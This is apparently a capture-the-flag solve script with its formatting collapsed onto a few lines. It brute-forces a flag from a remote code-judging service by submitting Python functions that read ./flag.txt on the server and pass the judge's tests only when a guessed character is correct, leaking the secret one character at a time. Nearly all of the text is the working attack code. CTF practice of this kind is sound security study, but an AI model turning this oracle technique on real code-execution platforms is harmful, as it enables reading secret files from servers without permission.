Code solve challenge.
```import requests
alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&?@^_}{~"url = "https://yeetcode.be.ax/yeetyeet"
flag = ""for location in range(0,40):	for character in alpha:		payload = """def f(a,b):  fz = open("./flag.txt","r").read()  if fz[{0}] == '{1}':    return a + b""".format(location,character)		r = requests.post(url,data=payload.encode('utf-8'),headers={'Content-type': 'text/plain; charset=utf-8'})		passed = (r.json())["p"]		if passed == 10:			flag += character			print (flag)			break			``` 